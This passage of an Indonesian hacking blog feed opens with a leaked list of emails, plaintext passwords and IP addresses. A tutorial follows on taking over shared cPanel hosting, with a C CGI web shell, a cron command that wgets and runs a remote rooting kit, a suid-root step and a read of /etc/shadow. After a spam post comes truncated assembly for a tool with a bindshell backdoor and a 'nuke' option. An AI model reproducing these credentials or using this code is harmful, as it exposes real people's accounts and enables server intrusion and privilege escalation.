WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2&lt;br /&gt;ramli.lau@gmail.com|30122103|139.195.55.210|Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10&lt;br /&gt;ibnuyoga@gmail.com|gapake88|180.243.185.118|Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2&lt;br /&gt;endiarchie@yahoo.com|o8ZYCXGYq7 |124.81.82.146|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24&lt;br /&gt;endiarchie@yahoo.com|o8ZYCXGYq7 |124.81.82.146|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24&lt;br /&gt;sutantog@yahoo.co.uk|nanalitA|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4&lt;br /&gt;sutantog@yahoo.co.uk|nanalitA|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4&lt;br /&gt;sutantog@yahoo.co.uk|nanalita|117.102.116.130|Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|mwn102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50&lt;br /&gt;thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)&lt;br /&gt;thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)&lt;br /&gt;agatha.purbadita@gmail.com|mwn102030|180.247.12.182|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0&lt;br /&gt;agatha.purbadita@gmail.com|thata102030|180.247.12.182|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0&lt;br /&gt;yonohdwik@gmail.com|sonicgear|139.195.15.75|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0&lt;br /&gt;thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;langkah 4. setelah mendapatkan begitu banyaknya akun hosting , attacker tinggal masuk ke masterkey masing2 klien hosting&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; seperti kita ketahui bersama di dalam masterkey kita bisa mengakses akun hostingan untuk kemudia mengupload privat exploit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;langkah 5. tanpa memerkukan akses root, attacker akan menyiapkan privat exploit local &lt;br /&gt;untuk melumpuhkan target. untuk menunjang niat social engineering (menggerakkan pihak hosting untuk melakukan hal yang diinginkan attacker)&lt;br /&gt;attacker dengan sengaja memberikan filename: echo.or.id utk elf lsb executable exploit yang dia siapkan untuk melumpuhkan targetnya yang jika dirun:&lt;br /&gt;====&lt;br /&gt;./echo.or.id&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;hanya dalam sepersekian detik setelah exploit yang disiapkan attacker dirun akan mengacaukan kernel scheduler di server target.&lt;br /&gt;&lt;br /&gt;langkah 6. attacker melakukan serangan di layer 7 dengan tujuan agar pihak hosting tidak menyangka kalau sebenarnya tiap2 klien di server mereka sudah&lt;br /&gt;dibackdoor oleh attacker.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lalu bagaimana caranya mengeksekusi local exploit pada kondisi server dengan kondisi disable php system command dan cgi??&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;check this out:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;yup kali ini akan kita mainkan salah satu dari permainan rahasia yang paling mudah (teknik ini hanya utk pemula yg baru belajar membypass)&lt;br /&gt;yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya yg bisa dipakai si attacker untuk membypass).&lt;br /&gt;&lt;br /&gt;misal pada target terdapat disable function php berikut ini:&lt;br /&gt;disable_functions:&amp;nbsp;&amp;nbsp;&amp;nbsp; ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam&lt;br /&gt;&lt;br /&gt;lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin tapi sayangnya setelah diupload crut:&lt;br /&gt;===&lt;br /&gt;Internal Server Error&lt;br /&gt;&lt;br /&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;br /&gt;&lt;br /&gt;Please contact the server administrator, webmaster@adhdsociety.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.&lt;br /&gt;&lt;br /&gt;More information about this error may be available in the server error log.&lt;br /&gt;&lt;br /&gt;Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;karena masalah path atau krn perl atau python pantang kita exec (permission denied bo)&lt;br /&gt;&lt;br /&gt;untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di server itu lalu setelah masuk ke cpanel&lt;br /&gt;liat di bag biasanya ada cron, dari situ kita bisa pakai untuk menjalankan perintah shell:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s1600/kue.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s1600/kue.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;selanjutnya bikin cron baru, pilih common setting, pilih every minute:&lt;br /&gt;&lt;br /&gt;misal perintahnya: id &amp;gt; id.txt&lt;br /&gt;&lt;br /&gt;selanjutnya jika berhasil maka kita bisa melihat hasil jalanya perintah di file id.txt tadi yang akan tersimpan di /home/usercpanelyangkitaboboltadi&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-87QUIrOy9k8/TzxBv8kt3DI/AAAAAAAAA5Q/JH0Xdv8Y5-Q/s1600/kue2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-87QUIrOy9k8/TzxBv8kt3DI/AAAAAAAAA5Q/JH0Xdv8Y5-Q/s320/kue2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;misal kita liat hasil pocnya seperti di bawah ini:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;nah karena teknik di atas akan berjalan sangat lama krn harus menunggu cron permenit kita akan gali lagi lebih dalam.&lt;br /&gt;banyak teknik yang bisa dipakai. misal dg cgi shell dari c :&lt;br /&gt;&lt;br /&gt;=====&lt;br /&gt;/**&lt;br /&gt;CGI Shell in C&lt;br /&gt;made by : ev1lut10n&lt;br /&gt;**/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;static void kotak_cmd()&lt;br /&gt;{&lt;br /&gt;printf("%s","&amp;lt;br&amp;gt;&amp;lt;form action=?");&lt;br /&gt;printf("%s","method=get&amp;gt;"); &lt;br /&gt;printf("%s","shell command : &amp;lt;input type=text"); &lt;br /&gt;printf("%s"," name=cmd&amp;gt;"); &lt;br /&gt;printf("%s","&amp;lt;input type=submit");&amp;nbsp; &lt;br /&gt;printf("%s"," value=execute&amp;gt;");&lt;br /&gt;printf("%s","&amp;lt;/form&amp;gt;");&lt;br /&gt;}&lt;br /&gt;static void set_heder()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char *replace(char *st, char *orig, char *repl) {&lt;br /&gt;&amp;nbsp; static char buffer[4096];&lt;br /&gt;&amp;nbsp; char *ch;&lt;br /&gt;&amp;nbsp; if (!(ch = strstr(st, orig)))&lt;br /&gt;&amp;nbsp;&amp;nbsp; return st;&lt;br /&gt;&amp;nbsp; strncpy(buffer, st, ch-st);&amp;nbsp; &lt;br /&gt;&amp;nbsp; buffer[ch-st] = 0;&lt;br /&gt;&amp;nbsp; sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));&lt;br /&gt;&amp;nbsp; return buffer;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; &lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;char *data;&lt;br /&gt;char cmd[100];&lt;br /&gt;char perintah[256]="";&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;set_heder();&lt;br /&gt;kotak_cmd();&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;data = getenv("QUERY_STRING");&lt;br /&gt;sscanf(data,"cmd=%s",cmd);&lt;br /&gt;printf("\ncmd: |%s|\n",cmd);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;strcat(perintah,cmd);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\nperintah: |%s|\n",perintah);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(perintah);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;=======================&lt;br /&gt;&lt;br /&gt;compile: gcc -o cgi cgi.c&lt;br /&gt;&lt;br /&gt;untuk rooting bisa menggunakan botnet (yang belum jadi dibuat sih)&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;utk rooting, misal di cron tadi kita isikan perintah:&lt;br /&gt;============================&lt;br /&gt;wget http://testsite.swcteam.com/libraries/rooting.tgz;tar zxvf rooting.tgz;cd rooting;perl backup.pl&lt;br /&gt;============================&lt;br /&gt;&lt;br /&gt;jika berhasil melakukan root maka dalam beberapa menit kemudian file suid di direktori backups menjadi suid root&lt;br /&gt;====&lt;br /&gt;ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ls -l suid&lt;br /&gt;-rwsr-xr-x 1 root ev1lut10n 7292 2012-02-16 05:39 suid&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;di mana kita bisa mengeksekusi perintah root:&lt;br /&gt;misal:&lt;br /&gt;====&lt;br /&gt;ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ./suid id&lt;br /&gt;uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout)&lt;br /&gt;===&lt;br /&gt;&lt;br /&gt;utk perintah dg lebih dari 1 argumen:&lt;br /&gt;=======&lt;br /&gt;echo 'cat /etc/shadow'&amp;gt; cmd;./suid ./cmd&lt;br /&gt;======&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dengan teknik di atas attacker bisa menjalankan perintah pada web hosting dengan cpanel envir0nment seperti idwebhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"tentu saja inti dari serangan ini bukanlah DDOS tapi penggunaan exploit local dan bagaimana ide untuk mendapatkan sebanyak mungkin&lt;br /&gt;pintu agar bisa mengontrol server selama mungkin"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4427476477368696600?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4427476477368696600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4427476477368696600'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/server-freezing-bukan-ddos-echoorid.html' title='- Server Freezing  (Bukan DDOS !!! (echo.or.id case study)) - by: ev1lut10n'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s72-c/kue.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8077535292350537442</id><published>2012-02-19T01:39:00.001-08:00</published><updated>2012-02-19T01:39:43.988-08:00</updated><title type='text'>jasa pembuatan website</title><content type='html'>&lt;title&gt;jasa pembuatan website&lt;/title&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/jasapembuatansoftware/" title="jasa pembuatan web"&gt;http://jasaplus.com/jasapembuatansoftware/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/jasapembuatansoftware" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jasaplus.com/jasainstalasijaringan" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jasaplus.com/jasapembuatanwebsite" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jasaplus.com/jasapembuatanweb" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jasaplus.com/jasa_pembuatan_web" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.jasaplus.com/jasa_pembuatan_website" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/jasapembuatansoftware" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/jasawebdesign" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/jasadesignweb" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/webdesign" title="jasa pembuatan web"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasaplus.com/webdesignindonesia" title="jasa pembuatan website"&gt;jasa pembuatan website&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://freelancewebdesign.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasa_pembuatan_web.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;  &lt;br /&gt;&lt;a href="http://jasa_pembuatan_website.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasadesignweb.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasapembuatanweb.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasapembuatanwebsite.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasapembuatanwebsiteindonesia.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://jasawebdesign.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;  &lt;br /&gt;&lt;a href="http://jasawebsitedesign.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pembuatanweb.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pembuatanwebsite.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://webdesign.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://webdesigncompany.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://webmaster.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;  &lt;br /&gt;&lt;a href="http://webmasterberpengalaman.jasaplus.com"&gt;jasa pembuatan web&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8077535292350537442?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8077535292350537442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8077535292350537442'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/jasa-pembuatan-website.html' title='jasa pembuatan website'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-2160842165937947453</id><published>2012-02-18T04:57:00.001-08:00</published><updated>2012-02-18T09:37:18.426-08:00</updated><title type='text'>ev1lut10n.asm - a simple game for linux 32 bit</title><content type='html'>;ev1lut10n Linux Utility for 32 bit linux &lt;br /&gt;;programmer : ev1lut10n &lt;br /&gt;;int-sec t00l pre-release&lt;br /&gt;;thanks to: petimati,cakill,danzel,p4,x-hack,flyff666, motaro irhaby, fadli and all ;my bro&lt;br /&gt;;nasm -f elf -g -F stabs ev1lut10n.asm -o ev1lut10n.o&lt;br /&gt;;gcc -o ev1lut10n ev1lut10n.o&lt;br /&gt;;website: http://www.jasaplus.com&lt;br /&gt;;gopher: gopher://sdf.org/1/users/wisdomc0&lt;br /&gt;;gopher: gopher://sdf.org/1/users/ev1lut10&lt;br /&gt;&lt;br /&gt;global main&lt;br /&gt;%define PF_INET&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2&lt;br /&gt;%define AF_INET&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;PF_INET&lt;br /&gt;%define SOCK_STREAM&amp;nbsp;&amp;nbsp; &amp;nbsp;1&lt;br /&gt;%define INADDR_ANY&amp;nbsp;&amp;nbsp; &amp;nbsp;0&lt;br /&gt;%define&amp;nbsp;&amp;nbsp; &amp;nbsp;PORT&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;80&lt;br /&gt;extern printf&lt;br /&gt;extern scanf&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;socket&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;connect&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;htons&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;recv&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;send&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;close&lt;br /&gt;extern&amp;nbsp;&amp;nbsp; &amp;nbsp;inet_aton&lt;br /&gt;&lt;br /&gt;section .bss&lt;br /&gt;pilih_on_heap resb 256 ; beware my heap overflow &lt;br /&gt;targetx:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; resw 50 ; beware my heap overflow &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;section .data&lt;br /&gt;data db ".::ev1lut10n Linux Utility for linux x86 version 1.0::.",13,10&lt;br /&gt;pjg_data equ $-data&lt;br /&gt;c0d3r db "programmer&amp;nbsp; : ev1lut10n",13,10&lt;br /&gt;pjg_c0d3r equ $-c0d3r&lt;br /&gt;&lt;br /&gt;;main menu&lt;br /&gt;menu1 db "proc - show process",13,10&lt;br /&gt;pjg_menu1 equ $-menu1&lt;br /&gt;&lt;br /&gt;menu2 db "bind - bindshell backdoor on port 12345",13,10&lt;br /&gt;pjg_menu2 equ $-menu2&lt;br /&gt;&lt;br /&gt;menu3 db "nuke - nuk3 a target",13,10&lt;br /&gt;pjg_menu3 equ $-menu3&lt;br /&gt;&lt;br /&gt;;eof main menu&lt;br /&gt;&lt;br /&gt;c0ns0l3 db "cmd:"&lt;br /&gt;pjg_c0ns0l3 equ $-c0ns0l3&lt;br /&gt;signed db "selected option:",13,10&lt;br /&gt;pjg_signed equ $-signed&lt;br /&gt;pilih&amp;nbsp; db "%s", 0&lt;br /&gt;&lt;br /&gt;;defining datas for gs.asm nuk3r&lt;br /&gt;akhir&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "-------------finished----------",13,10&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_akhir&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - akhir&lt;br /&gt;banner&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ".::gantung socket::.",13,10 &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_banner&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - banner&lt;br /&gt;tunggu&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "..Boom..",13,10 &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_tunggu&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - tunggu&lt;br /&gt;&lt;br /&gt;programmer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db "...:::programmer: ev1lut10n:::... ",13,10 &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_programmer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - programmer&lt;br /&gt;fok&amp;nbsp;&amp;nbsp; db "-------------------------------------",13,10 &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;pjg_fok&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; equ $ - fok&lt;br 